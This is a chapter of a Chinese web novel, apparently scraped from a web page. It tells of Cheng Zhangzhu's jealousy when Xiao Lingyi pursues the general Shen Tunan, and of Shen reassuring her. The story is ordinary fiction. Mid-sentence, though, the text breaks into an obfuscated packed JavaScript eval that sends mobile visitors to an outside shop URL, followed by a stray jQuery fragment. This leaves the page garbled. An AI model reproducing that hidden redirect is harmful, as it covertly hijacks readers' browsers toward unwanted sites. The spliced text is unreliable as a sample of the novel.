萧令仪来到她面前的时候,程掌珠整个人是有些恍惚的。
萧令仪,萧家二小姐,萧承望的妹妹。
程掌珠对她的印象并不是很多,前世的话只记得萧家好像是有一个早早就嫁出去的女儿,后来似乎过得并不是很好,再然后的事就不太了解了。
说来也奇怪,许多有头有脸、叫的出名号的女子在成婚之后就跟人间蒸发了似的,再也打探不到半点消息。
霍南枝是这样,萧令仪也是这样。
她曾经说出过自己的疑虑,可旁人只是善意地笑,说女子成婚之后本就忙碌。侍奉公婆、照看孩子、帮扶妯娌,哪有那么多时间抛头露面。
程掌珠被这话堵得哑口无言,却又隐约觉得有哪里不对。
不知道是不是她的错觉,萧令仪似乎对沈图南很有好感。
不是端茶就是送水,不是给他拿外套就是帮他扶长枪,虽然上次差点把自己捅了个对穿。
这小姑娘长得挺漂亮,性格也还好,就是有点儿蠢蠢的。
这不,看到沈图南给程掌珠做了个竹蜻蜓,立马见缝插针地挤进他们中间要给他看自己绣的荷包。
程掌珠拨楞着手里的小玩具,头都懒得抬。
竹蜻蜓做得挺粗糙的,但毛边却细细地打磨过,不会划伤手指。
她恍惚间觉得,就算沈图南不做将军,不是沈家的公子,也能在这乱世中过得很好。
几次三番被坏好事,即便是再好脾气的人也有些绷不住了。
沈图南脸上的温和淡去几分,礼貌地抬手,用护腕隔开萧令仪的手,动作强硬,语气却放得很轻,“萧小姐,请自重。”
萧令仪的脸一会红一会白。
毕竟也算是个半路出家的高门贵女,被男子这样果断拒绝,她难免有些难堪。
何况还是当着同性的面。
可她不敢对沈图南怎么样,只狠狠地瞪了一眼程掌珠。
事情还要从三天前萧承望去剿匪开始说起。
为了验证萧承望的忠诚程度,两人跟幕僚们商量了一下就干脆把他派去剿匪了。
这是个苦差事,之前挑了很久也没有找到合适的人选,尤其那地方还在西山,荒郊野岭的,一般人都不愿意去,尤其现在军营里各司其职,程一水谋划行军路线,程一山负责玄武营掌兵,赵无涯在神威监军,实在没人可用。
好在这个时候萧承望送上门来了。
本来是想先喂他颗毒药避免他临阵倒戈,后来一合计又觉得没必要,他没那个本事,更没那个脑子。与其浪费药品还不如派他去西山,姑且试试他的实力和水平究竟如何。
一开始萧令仪还死缠烂打的非要跟过去,一听到是要去剿匪,跑的比谁都快。
笑话,虽然一看不到哥哥就心里发毛,可生死大事她还是能掂量得清的。
剿匪诶,那可是剿匪,她一个手无缚鸡之力的女子跟过去不是添乱吗。
在这种情况下,萧令仪无依无靠的,只能选择去像朵菟丝子一样死死缠住军中最有声望的沈图南了。
这小丫头实在太过好懂。
程掌珠哭笑不得,并静观其变。
但是分寸这种东西,似乎并不是每个人都有的。
在那之后,萧令仪变本加厉。
每天穿的花枝招展的到处乱晃,目的非常明确,直奔沈图南。
所以这就搞得好长一段时间沈图南都不敢出营帐,还专挑三更半夜回襄阳城内的住所,生怕又被她跟大蟒蛇似的死死缠住。
程掌珠在信里跟怀璧说了这件事,怀璧说她心大,也不怕被撬墙角。程掌珠笑得花枝乱颤,说如果能被轻易撬走那只能说明他也不是什么好东西,只有垃圾才会被垃圾吸引。
她心里是有数的,像萧令仪这样的大家小姐,时逢乱世,甚至没什么人是她可以靠得住的。
哥哥在的时候可以靠哥哥,可哥哥走了呢?
她只能尽可能地去寻找更值得她依附的大树。
而现在,这个大树就是沈图南。
要真的问萧令仪有多喜欢沈图南吗,那答案倒也不尽然。
程掌珠并没有生她的气,毕竟就一个小姑娘。
她只是觉得有些难过。
难过女子的处境为什么这样艰难,不依附谁就没有办法活下去。
前世的她不也是这样吗?
学武和谋略都是后期沈图南教她的,而在前期,程掌珠也只能紧紧地依靠着他而活。
有好长一段时间,但凡睁眼看不到他,程掌珠就会觉得浑身不舒服,像是被人夺走了什么重要的东西,下意识的就会开始发脾气。
所以,她对萧令仪总是很包容。
直到那天,她彻底惹恼了程掌珠。
程掌珠当时正在和沈图南商量事情,那时夜风凉,她裹得暖乎乎的,身上还披着他翻越三个山头特意为她打来的狐狸做成的狐狸毛披风。
沈图南听说女子在冬天的时候都会畏寒,手脚冰凉,程掌珠的程度虽然不算重,却还是把他吓得不轻。
赵无涯家里女眷多,中规中矩地提议,“泡点红糖水就好了,我娘和我妹妹都是这么做的。”
沈图南抿了抿嘴,没说话。
他并不觉得一点糖加点水就能起到多大的作用,比起那些,还不如多让程掌珠吃点红肉白肉什么的来的补身体。
从那天起,沈图南就干脆监督程掌珠一日三餐吃牛羊肉和喝牛乳,时间长了,她的脸色竟然也真的红润了不少。
程掌珠坐在原地看书,沈图南去外面给她烤鸡腿,谁知道也就是一转身的功夫,萧令仪就走上前来,东拉西扯地不知道和沈图南说了些什么。
这段时间程掌珠为了打好接下来的几场战役,几乎每晚都要看书到很久,以至于现在白天的时候看人看物总是模模糊糊的。
因此,此时此刻,她看不清他们两个人究竟说了些什么,只见营帐外人影晃动,须臾,带来了一股冷冽的风,拂过她的脸。
帐外,沈图南始终和萧令仪保持着一段不远不近的距离,礼貌而克制的模样。
眉头下意识的轻轻皱着,不知听到了什么,他垂眸思索了一会,看了一眼手里的汤婆子,在程掌珠还没有反应过来的时候,就已经毫不犹豫地递给了那个弱不禁风的少女。
程掌珠愣在原地。
萧令仪穿着酒红色的襦裙,像只活泼灵动的小狐狸,见状更是开心不已,在沈图南看不到的地方得意地冲她扬了扬下巴,仿佛在炫耀自己的胜利品。
好像在说,你看,你的东西我不是轻而易举的就拿到了吗?
程掌珠的脸色冷了下来。
处境使然,女子一方面总觉得别人都要来抢自己的东西,另一方面却又跃跃欲试着要去争去抢别人的东西,目的竟然殊途同归,都是为了让自己安心。
程掌珠抿着嘴不说话,冷冷地看了一眼她,又转向一旁才收回手的沈图南,眼里一片冰寒。
似乎是被她眼中的冷漠刺到了,沈图南脸色一变,大步走上前来。
萧令仪在身后喊他,他却好像浑然没听到似的抛置身后,走上前来解开大氅,把她搂进怀里。
属于男子炙热的气息包裹住程掌珠。
她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17628142|203150||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
有一瞬间的晃神。
像是生怕程掌珠会误会,沈图南环在她背后的手很紧,像是要把她整个人都嵌入骨血里。
他的声音很轻,却带着前所未有的认真,在呼啸的寒风中清晰地传入她的耳朵,“掌珠,冷静下来听我说。我给她是因为她刚才在抱怨冷,我顺手递过去的,没多想。但我心里清楚,这个汤婆子本来是想给你的。”
“之所以给她有很多原因,最主要的是因为它现在的温度已经降下来了,而且缝的不太好看,你拿出去会觉得丢人。我本来是想再去拿一个好看的,重新灌满热水再给你的。”
顿了顿,沈图南看着她的眼睛,一字一句地说:“在我这里,从来没有‘分你一点’的说法,我的东西,我的关心,从来都只想着先给你。”
“刚才是我考虑不周,让你误会了,是我的错。”
从头到尾,程掌珠一句话没说。
可她的委屈他却看得分明。
沈图南没有找任何借口,没有说“萧令仪也是妹妹”之类的话,因为他知道,在程掌珠这里,这些都不是理由。
他只是坦诚地承认自己的疏忽,和程掌珠眼中那一闪而过的厌恶带给自己的恐慌。
萧令仪在不远处看着这一幕,嘴巴张了张,想上前说什么,却被他一个冰冷的眼神制止了。
那表情是她从未见过的严肃和疏离,让她硬生生地把话咽了回去。
程掌珠没管他,转身就走。
沈图南彻底慌了,把一切抛诸脑后,直至到了没人的地方才一把把她拉入怀中。
程掌珠张嘴狠狠咬住他的肩膀。
该死的。
这人怎么越来越壮了。
被他正面抱着的时候她甚至看不到他身后的光景。
那一口用了不少力,沈图南闷哼一声,却没立刻松开她,反而将人搂得更紧了些,让她的头能靠在他的胸口、听到他沉稳有力的心跳声。
程掌珠挣扎了两下,没挣开,心里又来气,干脆拿话刺他,“将军自重。”
环在她身上的手有一瞬间的僵硬,却始终没有松开。
沈图南沉默了几秒才开口,“怎么又叫将军了?”
“叫三哥,嗯?”
之前拉小手的时候他老哄着程掌珠这么叫,毕竟小的时候能和她结缘也是因为他想有个妹妹,虽然她只有心情好的时候才会这么叫。
他知道,程掌珠是因为刚才他把汤婆子给了萧令仪,心里不舒服才会这么生分,可被她用这话疏远,他也是真的有点伤心了。
“是三哥不好,刚才没照顾到你的感受,让珠儿受委屈了,对不起。那汤婆子是承望临走的时候特意吩咐留给她的,她毕竟是他妹妹,我想着先给她,免得她一路上闹。”
程掌珠缓慢地眨了眨眼。
萧承望不是讨厌他妹的吗?
怎么还能这么细心。
她皱了皱鼻子,心想男人果然都是说一套做一套。
见程掌珠一直不说话,沈图南收紧了手臂,将她裹得更严实。
“但你不一样。”
“我的大氅,我的怀抱,从来都只给程掌珠一个人。”
低头,他用鼻尖轻轻碰了碰她的发顶,嗅着她发丝的香味,夹着嗓子哄道:“别生气了,好不好?叫一声三哥,我就知道我的掌珠不怪我了。”
不知是不是她的幻觉,“掌珠”这两个字被他叫得格外黏糊,尤其是最后一个字,尾音微微上扬,怎么听怎么暧昧。
像是在唇舌间千般体会过一遍再吐出,带着盖都盖不住的缱绻。
听得她耳根一热。